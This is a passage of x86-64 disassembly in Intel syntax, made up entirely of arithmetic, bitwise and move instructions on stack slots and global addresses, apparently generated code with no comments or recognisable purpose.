mov rcx, qword [rsp + 0x5c40]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5e88], rax
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x6e60], rax
movsx eax, byte [rsp + 0x124]
movsx ecx, byte [0x140178e76]
sub eax, ecx
mov byte [rsp + 0xa5], al
movsx eax, word [rsp + 0xa1c]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov word [0x140178f50], ax
mov rax, qword [rsp + 0x56e0]
movzx eax, word [rax]
mov word [rsp + 0xc4c], ax
movzx eax, byte [rsp + 0x84]
movzx ecx, byte [rsp + 0x120]
sub eax, ecx
mov byte [rsp + 0x67], al
movsx eax, byte [rsp + 0xcd]
movsx ecx, byte [rsp + 0xe6]
add eax, ecx
mov byte [rsp + 0xf7], al
mov rax, qword [rsp + 0x5de8]
mov qword [rsp + 0x6e68], rax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x5388]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c00], eax
mov eax, dword [rsp + 0x2c4c]
mov dword [rsp + 0x2dc8], eax
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x6c00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
movsx eax, word [rsp + 0x8e8]
movsx ecx, word [0x140178f10]
sub eax, ecx
mov rcx, qword [rsp + 0x57e8]
mov word [rcx], ax
lea rax, [rsp + 0x157]
mov qword [0x14017a4c0], rax
lea rax, [rsp + 0xbbc]
mov qword [rsp + 0x6e70], rax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0xa7]
and eax, ecx
mov rcx, qword [rsp + 0x6550]
mov byte [rcx], al
mov rax, qword [rsp + 0x5390]
movzx eax, byte [rax]
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x5930]
mov rcx, qword [rsp + 0x6a60]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x57c8], rax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov dword [rsp + 0x2dcc], eax
mov rax, qword [rsp + 0x57f0]
movzx ecx, al
mov rax, qword [0x140178e78]
shl rax, cl
mov qword [rsp + 0x6540], rax
mov rax, qword [rsp + 0x54d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b18]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6040]
mov dword [rcx], eax
movzx eax, word [rsp + 0x9d4]
mov word [rsp + 0xc50], ax
movsx eax, word [rsp + 0xaf8]
movsx ecx, word [rsp + 0xb30]
sar eax, cl
mov word [0x14017a488], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x5e]
sub eax, ecx
mov rcx, qword [rsp + 0x6b88]
mov byte [rcx], al
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x15d], al
movzx eax, word [rsp + 0x9d4]
movzx ecx, word [rsp + 0xa74]
sub eax, ecx
mov rcx, qword [rsp + 0x6218]
mov word [rcx], ax
mov rax, qword [rsp + 0x6500]
mov rcx, qword [rsp + 0x5600]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6438], rax
mov rax, qword [0x14017a058]
mov qword [rsp + 0x6e78], rax
mov rax, qword [rsp + 0x4dc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a88], eax
mov rax, qword [rsp + 0x50b0]
mov eax, dword [rax]
mov dword [rsp + 0x2dd0], eax
mov rax, qword [rsp + 0x6a48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6490]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdd], al
lea rax, [rsp + 0xf1]
mov qword [0x14017a4c8], rax
mov rax, qword [rsp + 0x5700]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ad8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x66a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c78]
movzx eax, word [rax]
mov word [rsp + 0xc54], ax
mov rax, qword [0x14017a420]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a90]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x61d8]
mov word [rcx], ax
movzx eax, word [rsp + 0xb20]
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x6d90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ca4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6210]
mov rax, qword [rax]
mov qword [rsp + 0x6e80], rax
mov eax, dword [rsp + 0x2b70]
mov ecx, dword [rsp + 0x2a38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5ad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67c0]
mov rcx, qword [str.kD3]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6cb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5ae0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a1c0]
mov byte [rcx], al
lea rax, [rsp + 0x944]
mov qword [rsp + 0x6e88], rax
movsx eax, byte [rsp + 0xe2]
mov rcx, qword [0x14017a278]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x117], al
mov rax, qword [rsp + 0x5bb8]
movzx eax, byte [rax]
mov byte [rsp + 0x15e], al
movzx eax, word [rsp + 0xa44]
mov rcx, qword [rsp + 0x6938]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6b60]
mov word [rcx], ax
mov eax, dword [rsp + 0x2abc]
mov rcx, qword [rsp + 0x6060]
mov qword [rsp + 0x6e90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6e90]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6b58]
mov dword [rcx], eax
lea rax, [rsp + 0x6ae0]
mov qword [rsp + 0x6e98], rax
mov rax, qword [rsp + 0x56f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2c98]
shr eax, cl
mov dword [rsp + 0x2b54], eax
lea rax, [rsp + 0x6798]
mov qword [rsp + 0x6ea0], rax
mov rax, qword [0x14017a420]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb70]
and eax, ecx
mov rcx, qword [0x14017a080]
mov word [rcx], ax
movzx eax, word [rsp + 0x950]
mov rcx, qword [rsp + 0x6c28]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5ac8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf8]
mov rcx, qword [rsp + 0x5a18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x72], al
movzx eax, word [rsp + 0x8e8]
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x6038]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd6]
and eax, ecx
mov rcx, qword [rsp + 0x5d00]
mov byte [rcx], al
lea rax, [rsp + 0x4aa0]
mov qword [rsp + 0x6ea8], rax
mov rax, qword [rsp + 0x6d98]
mov rcx, qword [rsp + 0x55d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x68d0], rax
mov rax, qword [rsp + 0x5730]
mov ecx, dword [rsp + 0x2d30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2be4], eax
lea rax, [rsp + 0x2ab0]
mov qword [rsp + 0x6eb0], rax
lea rax, [rsp + 0xc8]
mov qword [0x14017a4d0], rax
movsx eax, word [rsp + 0x958]
mov rcx, qword [rsp + 0x5760]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x55c8]
mov word [rcx], ax
lea rax, [rsp + 0xaf]
mov qword [rsp + 0x6eb8], rax
movzx eax, word [0x140178f1c]
mov rcx, qword [rsp + 0x67a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5e00]
mov word [rcx], ax
lea rax, [rsp + 0x115]
mov qword [rsp + 0x6ec0], rax
mov rax, qword [rsp + 0x64f0]
mov ecx, dword [rsp + 0x2ce8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2aa8], eax
mov rax, qword [rsp + 0x5c80]
mov rax, qword [rax]
mov rcx, qword [0x140178e78]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x69a0], rax
mov eax, dword [rsp + 0x2c08]
mov dword [rsp + 0x2dd4], eax
mov rax, qword [rsp + 0x63e0]
mov rcx, qword [rsp + 0x5d88]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6e78], rax
mov rax, qword [rsp + 0x5640]
movzx eax, word [rax]
mov word [0x14017a4d8], ax
lea rax, [rsp + 0x8f]
mov qword [rsp + 0x6ec8], rax
mov rax, qword [rsp + 0x6320]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa10]
sar eax, cl
mov word [rsp + 0xbf0], ax
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x5b30]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x66], al
movzx eax, word [rsp + 0xa8c]
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x62d0]
mov rcx, qword [rsp + 0x57b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6250]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6960]
mov eax, dword [rax]
mov dword [rsp + 0x2dd8], eax
mov rax, qword [rsp + 0x5cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ba0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2aec], eax
mov rax, qword [rsp + 0x6d58]
mov rcx, qword [rsp + 0x58b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5848]
mov qword [rcx], rax
movzx eax, word [str._v_]
movzx ecx, word [rsp + 0x908]
sub eax, ecx
mov word [0x14017a140], ax
lea rax, [rsp + 0x118]
mov qword [rsp + 0x6ed0], rax
movzx eax, byte [rsp + 0x158]
movzx ecx, byte [rsp + 0x134]
add eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
lea rax, [rsp + 0x62]
mov qword [rsp + 0x6ed8], rax
movsx eax, byte [rsp + 0x10c]
movsx ecx, byte [rsp + 0x98]
and eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5988]
mov ecx, dword [0x14017a060]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6e10]
mov dword [rcx], eax
lea rax, [rsp + 0x5778]
mov qword [rsp + 0x6ee0], rax
mov rax, qword [rsp + 0x4ec8]
mov rcx, qword [rsp + 0x6920]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x59e0], rax
lea rax, [rsp + 0x2c00]
mov qword [rsp + 0x6ee8], rax
movzx eax, word [0x140178f28]
mov rcx, qword [rsp + 0x5918]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140178f54], ax
movsx eax, word [rsp + 0xbf0]
movsx ecx, word [rsp + 0x860]
sub eax, ecx
mov word [rsp + 0x9a8], ax
lea rax, [rsp + 0xa8c]
mov qword [rsp + 0x6ef0], rax
movzx eax, word [rsp + 0xb14]
movzx ecx, word [rsp + 0xbf8]
xor eax, ecx
mov word [rsp + 0x9a4], ax
mov rax, qword [rsp + 0x62a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11c]
or eax, ecx
mov rcx, qword [rsp + 0x53c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5db0]
mov eax, dword [rax]
mov dword [rsp + 0x2ddc], eax
mov rax, qword [rsp + 0x6dc0]
mov rcx, qword [rsp + 0x57f8]
mov qword [rsp + 0x6ef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6ef8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5dd8], rax
mov rax, qword [rsp + 0x4aa0]
mov qword [rsp + 0x6f00], rax
mov rax, qword [rsp + 0x6e08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x64f0]
mov qword [rsp + 0x6f08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6f08]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6480]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5ba0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
and eax, ecx
mov word [0x140178e98], ax
mov rax, qword [rsp + 0x5b28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaf0]
sub eax, ecx
mov word [rsp + 0xbbc], ax
lea rax, [0x140178e77]
mov qword [rsp + 0x6f10], rax
mov rax, qword [rsp + 0x6080]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5248]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc1], al
lea rax, [rsp + 0x122]
mov qword [rsp + 0x6f18], rax
mov rax, qword [rsp + 0x6c90]
mov rcx, qword [rsp + 0x5b58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28bc], eax
mov eax, dword [rsp + 0x2c24]
mov ecx, dword [rsp + 0x2d94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d14], eax
lea rax, [rsp + 0x6950]
mov qword [rsp + 0x6f20], rax
mov rax, qword [rsp + 0x5e08]
mov rcx, qword [rsp + 0x5d68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69d0], rax
mov rax, qword [rsp + 0x5098]
movzx eax, byte [rax]
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x55e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x968]
and eax, ecx
mov word [0x140178f58], ax
mov rax, qword [rsp + 0x5120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x105]
sub eax, ecx
mov rcx, qword [rsp + 0x5030]
mov byte [rcx], al
lea rax, [rsp + 0x864]
mov qword [rsp + 0x6f28], rax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0x6900]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0x6250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68a0]
mov qword [rcx], rax
lea rax, [rsp + 0x2da4]
mov qword [rsp + 0x6f30], rax
mov rax, qword [rsp + 0x5490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b60]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5a90]
mov dword [rcx], eax
mov rax, qword [0x14017a058]
mov qword [rsp + 0x6f38], rax
mov rax, qword [rsp + 0x62e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
shl eax, cl
mov word [rsp + 0xb84], ax
movsx eax, word [rsp + 0x9f8]
mov rcx, qword [rsp + 0x5690]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140178e90], ax
movzx eax, byte [rsp + 0xdd]
movzx ecx, byte [rsp + 0x106]
sar eax, cl
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x66b0]
movzx eax, word [rax]
mov word [rsp + 0xc64], ax
movsx eax, byte [rsp + 0x12e]
movsx ecx, byte [rsp + 0xa3]
and eax, ecx
mov rcx, qword [rsp + 0x6460]
mov byte [rcx], al
lea rax, [rsp + 0x28f4]
mov qword [rsp + 0x6f40], rax
mov rax, qword [rsp + 0x5388]
mov rcx, qword [rsp + 0x56f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b3c], eax
mov rax, qword [rsp + 0x6500]
mov rcx, qword [rsp + 0x6dd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5c78], rax
lea rax, [rsp + 0x5550]
mov qword [rsp + 0x6f48], rax
movzx eax, word [rsp + 0x910]
mov rcx, qword [rsp + 0x6850]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb94], ax
mov rax, qword [rsp + 0x5d78]
movzx eax, word [rax]
mov word [0x14017a4dc], ax
mov rax, qword [0x14017a1d0]
movzx eax, word [rax]
mov word [rsp + 0xc68], ax
movsx eax, byte [rsp + 0xfc]
movsx ecx, byte [rsp + 0x12b]
add eax, ecx
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd1]
sub eax, ecx
mov byte [rsp + 0xc4], al
lea rax, [rsp + 0x5d38]
mov qword [rsp + 0x6f50], rax
mov rax, qword [rsp + 0x6c00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x55a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6538], rax
mov rax, qword [rsp + 0x5b98]
mov eax, dword [rax]
mov dword [rsp + 0x2de0], eax
mov rax, qword [rsp + 0x66c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b60]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6f40]
mov dword [rcx], eax
lea rax, [rsp + 0x147]
mov qword [rsp + 0x6f58], rax
movsx eax, word [rsp + 0xb30]
mov rcx, qword [rsp + 0x59b0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a1d8]
mov word [rcx], ax
movzx eax, word [0x14017a200]
mov rcx, qword [rsp + 0x59c8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x67a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0x4df0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x62b8]
movzx eax, byte [rax]
mov byte [rsp + 0x160], al
movsx eax, word [0x140178e70]
movsx ecx, word [rsp + 0x8f8]
shl eax, cl
mov word [rsp + 0x924], ax
mov rax, qword [rsp + 0x50f8]
mov eax, dword [rax]
mov dword [rsp + 0x2de4], eax
mov rax, qword [rsp + 0x62b0]
mov rcx, qword [rsp + 0x5438]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4ea8], rax
mov rax, qword [rsp + 0x55c0]
mov rcx, qword [rsp + 0x6580]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5b88], rax
lea rax, [rsp + 0x2c1c]
mov qword [rsp + 0x6f60], rax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbac]
and eax, ecx
mov word [0x140178f5c], ax
movsx eax, byte [rsp + 0x123]
mov rcx, qword [rsp + 0x5d00]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd6], al
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x6f68], rax
movsx eax, word [rsp + 0xbf0]
movsx ecx, word [0x140178f20]
add eax, ecx
mov rcx, qword [rsp + 0x4e18]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd0]
movsx ecx, byte [rsp + 0x74]
sub eax, ecx
mov rcx, qword [rsp + 0x6ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x51b0]
mov qword [rsp + 0x6f70], rax
mov rax, qword [rsp + 0x6380]
mov rcx, qword [rsp + 0x5618]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5eb0]
mov dword [rcx], eax
lea rax, [rsp + 0x2b34]
mov qword [rsp + 0x6f78], rax
mov rax, qword [rsp + 0x6cc8]
mov rcx, qword [rsp + 0x5668]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6058]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x118]
movzx ecx, byte [0x140178ebf]
add eax, ecx
mov byte [0x140178ec3], al
mov rax, qword [rsp + 0x4cb0]
movzx eax, word [rax]
mov word [rsp + 0xc6c], ax
movsx eax, byte [rsp + 0x81]
movsx ecx, byte [rsp + 0x10d]
add eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x6b40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb94]
and eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movzx eax, word [rsp + 0xa4c]
mov word [rsp + 0xc70], ax
mov rax, qword [rsp + 0x5df0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2ca4]
sar eax, cl
mov dword [rsp + 0x2cf0], eax
lea rax, [0x140178e8c]
mov qword [rsp + 0x6f80], rax
mov rax, qword [rsp + 0x6760]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5bd0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c80], rax
mov rax, qword [rsp + 0x5a70]
mov rcx, qword [rsp + 0x6978]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4ea8], rax
mov rax, qword [rsp + 0x5d90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa94]
shl eax, cl
mov rcx, qword [0x14017a2b0]
mov word [rcx], ax
lea rax, [rsp + 0x125]
mov qword [rsp + 0x6f88], rax
movsx eax, byte [rsp + 0x122]
movsx ecx, byte [rsp + 0x11e]
add eax, ecx
mov byte [rsp + 0x124], al
mov rax, qword [0x14017a330]
movzx eax, byte [rax]
mov byte [rsp + 0x161], al
movzx eax, word [rsp + 0x8e0]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x6128]
mov rcx, qword [rsp + 0x6bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6160], rax
mov eax, dword [rsp + 0x2cbc]
mov dword [rsp + 0x2de8], eax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ea0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6dd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5998]
mov eax, dword [rax]
mov dword [rsp + 0x2dec], eax
lea rax, [rsp + 0x89]
mov qword [0x14017a4e0], rax
movsx eax, word [rsp + 0x968]
mov rcx, qword [rsp + 0x5968]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8fc], ax
mov rax, qword [rsp + 0x6610]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x150], al
movzx eax, word [0x14017a200]
mov word [rsp + 0xc74], ax
movzx eax, word [rsp + 0x8c0]
movzx ecx, word [rsp + 0xb64]
sub eax, ecx
mov rcx, qword [rsp + 0x5e10]
mov word [rcx], ax
lea rax, [rsp + 0x2ab4]
mov qword [rsp + 0x6f90], rax
mov rax, qword [rsp + 0x6de0]
mov rcx, qword [rsp + 0x6b58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c40], eax
mov rax, qword [rsp + 0x55d0]
mov qword [rsp + 0x6f98], rax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x6808]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6150], rax
movsx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0x5d30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178ed6], al
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x160]
sub eax, ecx
mov byte [rsp + 0x14a], al
movzx eax, word [rsp + 0xc50]
mov word [rsp + 0xc78], ax
movsx eax, word [0x14017a228]
movsx ecx, word [rsp + 0xb40]
xor eax, ecx
mov word [rsp + 0xb48], ax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x6fa0], rax
mov rax, qword [rsp + 0x6640]
mov ecx, dword [rsp + 0x2a84]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5be8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5778]
movzx ecx, al
mov rax, qword [rsp + 0x5348]
sar rax, cl
mov qword [rsp + 0x5228], rax
mov rax, qword [rsp + 0x4f00]
mov qword [rsp + 0x6fa8], rax
mov eax, dword [rsp + 0x2d80]
movzx ecx, al
mov eax, dword [rsp + 0x2c60]
shl eax, cl
mov dword [rsp + 0x2b0c], eax
movsx eax, word [rsp + 0x924]
mov rcx, qword [rsp + 0x5910]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140178f0c], ax
movzx eax, byte [rsp + 0xde]
mov byte [rsp + 0x162], al
movsx eax, byte [rsp + 0xa1]
mov rcx, qword [rsp + 0x5818]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x66b8]
mov byte [rcx], al
movzx eax, word [str._v_]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb04], ax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x6fb0], rax
mov rax, qword [rsp + 0x54e8]
mov rcx, qword [rsp + 0x6448]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5ea8], rax
lea rax, [rsp + 0x2b8c]
mov qword [rsp + 0x6fb8], rax
mov rax, qword [rsp + 0x63f8]
mov rcx, qword [rsp + 0x65d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6088]
mov qword [rcx], rax
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x2b20]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6158]
mov dword [rcx], eax
lea rax, [rsp + 0xaf4]
mov qword [0x14017a4e8], rax
lea rax, [rsp + 0xb5]
mov qword [rsp + 0x6fc0], rax
movzx eax, word [rsp + 0xb10]
mov rcx, qword [rsp + 0x5478]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb9c], ax
lea rax, [0x140178eb8]
mov qword [rsp + 0x6fc8], rax
mov rax, qword [rsp + 0x5440]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c]
add eax, ecx
mov rcx, qword [rsp + 0x5e38]
mov byte [rcx], al
lea rax, [rsp + 0x2b9c]
mov qword [rsp + 0x6fd0], rax
mov rax, qword [rsp + 0x6ea8]
mov rcx, qword [rsp + 0x6270]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5050]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5d08]
mov rcx, qword [rsp + 0x6d58]
mov qword [rsp + 0x6fd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6fd8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6d18], rax
mov eax, dword [rsp + 0x2dc4]
mov dword [rsp + 0x2df0], eax
mov rax, qword [0x14017a238]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xba4]
sar eax, cl
mov word [rsp + 0xb40], ax
mov rax, qword [rsp + 0x5e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5378]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140178f04], ax
mov rax, qword [rsp + 0x58b8]
movzx eax, byte [rax]
mov byte [rsp + 0x163], al
movsx eax, byte [0x14017a142]
mov rcx, qword [rsp + 0x5350]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5d40]
mov byte [rcx], al
movzx eax, byte [rsp + 0xbc]
movzx ecx, byte [rsp + 0xc4]
and eax, ecx
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x4fa0]
mov qword [rsp + 0x6fe0], rax
mov rax, qword [rsp + 0x5de0]
mov rcx, qword [rsp + 0x6f30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b90], eax
mov eax, dword [rsp + 0x2be4]
mov dword [rsp + 0x2df4], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x56c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6dd0]
mov qword [rcx], rax
movsx eax, byte [0x140178eb2]
movsx ecx, byte [rsp + 0xa3]
sub eax, ecx
mov byte [rsp + 0x6e], al
movzx eax, word [rsp + 0xad4]
mov rcx, qword [rsp + 0x5ae8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f08], ax
lea rax, [rsp + 0x7b]
mov qword [rsp + 0x6fe8], rax
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0x58b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x63e8]
mov byte [rcx], al
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x6ff0], rax
mov rax, qword [str.kD3]
mov rcx, qword [rsp + 0x6ca0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x52f8], rax
mov rax, qword [rsp + 0x6858]
mov eax, dword [rax]
mov dword [rsp + 0x2df8], eax
mov eax, dword [rsp + 0x2dcc]
mov ecx, dword [rsp + 0x2a40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x63d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x59a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6d40]
